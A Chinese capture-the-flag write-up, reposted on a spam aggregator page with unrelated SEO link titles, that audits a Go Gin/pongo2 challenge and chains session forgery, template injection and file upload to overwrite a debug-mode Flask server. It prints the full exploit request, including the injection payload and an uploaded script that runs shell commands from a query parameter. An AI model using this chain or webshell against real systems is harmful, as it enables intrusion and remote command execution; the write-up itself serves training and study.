当前位置: 首页 > news >正文

音乐网站可做哪些内容网站建设原码

音乐网站可做哪些内容,网站建设原码,企业一站式网站建设,品牌网站建设价格实惠文章目录 考点代码审计main.goroute.goIndex函数Admin函数Flask函数 解题过程伪造session获取server.py构造payload覆盖server.py命令执行 考点 session伪造#xff0c;pongo2模板注入#xff0c;debug模式覆盖源文件 代码审计 main.go package mainimport (github.c… 文章目录 考点代码审计main.goroute.goIndex函数Admin函数Flask函数 解题过程伪造session获取server.py构造payload覆盖server.py命令执行 考点 session伪造pongo2模板注入debug模式覆盖源文件 代码审计 main.go package mainimport (github.com/gin-gonic/ginmain/route )func main() {r : gin.Default()r.GET(/, route.Index)r.GET(/admin, route.Admin)r.GET(/flask, route.Flask)r.Run(0.0.0.0:80) }main函数给了三个路由分别对应根路径 /、/admin 和 /flask 我们追踪到route.go route.go package routeimport (github.com/flosch/pongo2/v6github.com/gin-gonic/gingithub.com/gorilla/sessionshtmlionet/httpos )var store sessions.NewCookieStore([]byte(os.Getenv(SESSION_KEY)))func Index(c *gin.Context) {session, err : store.Get(c.Request, session-name)if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values[name] nil {session.Values[name] guesterr session.Save(c.Request, c.Writer)if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, Hello, guest) }func Admin(c *gin.Context) {session, err : store.Get(c.Request, session-name)if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values[name] ! admin {http.Error(c.Writer, N0, http.StatusInternalServerError)return}name : c.DefaultQuery(name, ssti)xssWaf : html.EscapeString(name)tpl, err : pongo2.FromString(Hello xssWaf !)if err ! nil {panic(err)}out, err : tpl.Execute(pongo2.Context{c: c})if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, out) }func Flask(c *gin.Context) {session, err : store.Get(c.Request, session-name)if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values[name] nil {if err ! nil {http.Error(c.Writer, N0, http.StatusInternalServerError)return}}resp, err : http.Get(http://127.0.0.1:5000/ c.DefaultQuery(name, guest))if err ! nil {return}defer resp.Body.Close()body, _ : io.ReadAll(resp.Body)c.String(200, string(body)) } 这是一个路由文件使用了Gin框架和pongo2的模板引擎 主要定义了三个路由函数接下来逐步分析 Index函数 func Index(c *gin.Context) {session, err : store.Get(c.Request, session-name)if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values[name] nil {session.Values[name] guesterr session.Save(c.Request, c.Writer)if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, Hello, guest) }Index函数用于处理根路径下的请求它的参数是一个指向gin.Context的指针而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息这个将是我们后面利用的重点 首先是接收session的参数name然后判断会话中的name值是否为空如果为空就会将name的值设置为guest然后将会话保存到请求中最后使用String方法返回一个状态码和一个字符串。 Admin函数 func Admin(c *gin.Context) {session, err : store.Get(c.Request, session-name)if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values[name] ! admin {http.Error(c.Writer, N0, http.StatusInternalServerError)return}name : c.DefaultQuery(name, ssti)xssWaf : html.EscapeString(name)tpl, err : pongo2.FromString(Hello xssWaf !)if err ! nil {panic(err)}out, err : tpl.Execute(pongo2.Context{c: c})if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, out) }函数首先判断是否为空然后判断是否为admin如果是name为admin那么从查询参数中获取名为 name 的值然后EscapeString函数进行转义接着使用pongo2模板引擎打印字符串 Flask函数 func Flask(c *gin.Context) {session, err : store.Get(c.Request, session-name)if err ! nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values[name] nil {if err ! nil {http.Error(c.Writer, N0, http.StatusInternalServerError)return}}resp, err : http.Get(http://127.0.0.1:5000/ c.DefaultQuery(name, guest))if err ! nil {return}defer resp.Body.Close()body, _ : io.ReadAll(resp.Body)c.String(200, string(body)) }函数判断参数name值是否为空如果为空则返回报错信息可能有我们需要的信息 这里有个坑也就是下面这句 resp, err : http.Get(http://127.0.0.1:5000/ c.DefaultQuery(name, guest))如果我们想要给flask服务传入参数name123实际上要构造的是./flask?name%3fname123 解题过程 伪造session 题目大概逻辑已经清楚了首要问题就是如何去伪造session也就是如何去得到SESSION_KEY var store sessions.NewCookieStore([]byte(os.Getenv(SESSION_KEY)))执行过程设置了基于 Cookie 的会话存储并使用环境变量中的 SESSION_KEY 值作为会话密钥 由于我们无法知道环境变量只能对SESSION_KEY进行猜测就是并未设置SESSION_KEY所以我们可以本地搭环境得到session值去伪造 首先修改源码 如果name不为admin将其值设置为admin 开启代理 go env -w GOPROXYhttps://goproxy.io,direct然后运行下main.go 访问127.0.0.1:80得到cookie 访问./adminbp抓包修改session 成功访问 伪造成功后我们再看看还有什么能获取的信息 所以我们尝试读去下报错信息 获取server.py 我们访问./Flask并且传参name为空 (注意session得为admin) 得到html代码我们随便打开个网页复制进去 可以发现开启了debug说明开启了热加载功能允许在对代码进行更改后自动重新加载应用程序。这意味着可以在不必手动停止和重启 Flask 应用程序的情况下查看对代码的更改。 我们知道pongo2模板引擎存在注入点可以执行go的代码所以我们可以先上传文件覆盖server.py再访问/flask路由来执行命令 构造payload 使用gin包的SaveUploadedFile()进行文件上传 func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error 第一个获取表单中的文件第二个参数为保存的目录 所以使用ssti的payload为 {{c.SaveUploadedFile(c.FormFile(file),/app/server.py)}}但是我们在前面代码审计的时候知道双引号会被html.EscapeString转义进行编码所以需要绕过 我们利用gin中的Context.HandlerName() HandlerName 返回主处理程序的名称。例如如果处理程序是“handleGetUsers()”此函数将返回“main.handleGetUsers” 所以如果是在Admin()里返回的就是main/route.Admin 然后配合过滤器last获取到最后一个字符串也就是文件名为n 还有一个Context.Request.Referer()Request.Referer 返回header里的Referer的值 我们可以在请求中的Referer的值添加为/app/server.py 所以构造最终payload {{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}但是在数据包中添加请求头时还要添加 Content-Type 头 Content-Type: multipart/form-data; boundary----WebKitFormBoundary8ALIn5Z2C3VlBqND对于添加这个头的解释是 对表单提交浏览器会自动设置合适的 Content-Type 请求同时 生成一个唯一的边界字符串并在请求体中使用这个边界字符串将不的表单字段和文件进行分隔。如果表单中包含文件上传的功能需要 使用 multipart/form-data 类型的请求体格式。 注意分隔符的开始和结束格式 --分隔符 ... ... --分隔符--覆盖server.py 访问./admin数据包如下 GET /admin?name{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1 Host: node5.anna.nssctf.cn:28120 Referer: /app/server.py Content-Type: multipart/form-data; boundary----WebKitFormBoundary8ALIn5Z2C3VlBqND User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: sessionMTY5OTAxNjY1NnxEdi1CQkFFQ180SUFBUkFCRUFBQVBQLUNBQUlHYzNSeWFXNW5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQUFCbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaMlZKWkFOcGJuUUVBd0Rfa0E9PXx0Nhf11tos024WRtfbo-1x1tZkxqxiP2paIr7GAXXEqA; session-nameMTY5OTMxNjI2NHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXzsOnx_9Q3qCs6AZzIOC6h8UsEAuK5LiaOsjUjumSslrQ Upgrade-Insecure-Requests: 1 Content-Length: 423------WebKitFormBoundary8ALIn5Z2C3VlBqND Content-Disposition: form-data; namen; filename1.py Content-Type: text/plainfrom flask import * import os app Flask(__name__)app.route(/) def index():name request.args[name]fileos.popen(name).read()return fileif __name__ __main__:app.run(host0.0.0.0, port5000, debugTrue) ------WebKitFormBoundary8ALIn5Z2C3VlBqND--可以看到上传成功 命令执行 然后就在./flask去命令执行因为我们知道该路由获取name也是c.DefaultQuery name?nameenv拼接出来的url是 http://127.0.0.1:5000/?nameenv 但写成nameenv拼接出来的url就是 http://127.0.0.1:5000/env然后在环境变量找到flag /flask?name?nameenv
http://www.pierceye.com/news/781841/

相关文章:

  • 做网站与运营一般多少钱桂林象鼻山简介
  • 丰南建设网站知识产权网站模板
  • 海外注册域名的网站给家乡做网站
  • 怎么做带数据库的网站重庆市建设工程信息网络
  • 做网站的越来越少了西宁网站建设多少钱
  • 环翠区网站建设做网站 用 显示器
  • 没学过计算机开始学做网站给别人做网站收多少钱
  • 网站建设的功能都需要有哪些方面大气一点的公司名字
  • 湘潭做网站价格问下磐石网络价格网站
  • 网站备案后可以更换域名吗2345网页游戏
  • 登录浏览器是建设银行移动门户网站广州专业做外贸网站
  • 思明区建设局网站微信 网页版
  • 淘宝客怎么做自己的网站搜索引擎营销案例分析题
  • 给女朋友做网站的素材友情链接是什么意思
  • 成都微信网站建设多少钱南平抖音搜索排名seo软件
  • 做外贸用哪些网站成都房地产开发商排名
  • 网站建设实施计划包括网页关键词优化
  • 建企业网站怎么做单页面网站源码
  • 儿童网站模板微信网站下载
  • 建设网站的市场背景搭建本地网站做色流
  • 湖南岳阳网站建设公司黄页顺企网宾馆在什么网站做推广效果好
  • 做外贸网站 怎么收钱网站自适应手机怎么
  • wordpress分只显示标题网站内容优化关键词布局
  • 校园云网站建设怎么做网站自动响应
  • 怎么做扫码进入网站北京seo计费
  • 网站备案 2016如何找网站
  • 网站开发客户挖掘做网站没签合同
  • 适合大学生做的兼职网站中国企业网信息查询系统
  • 淘宝网站的建设与运营设计思路做网站商铺模板
  • 网站优秀设计方案中国网站制作企业排行榜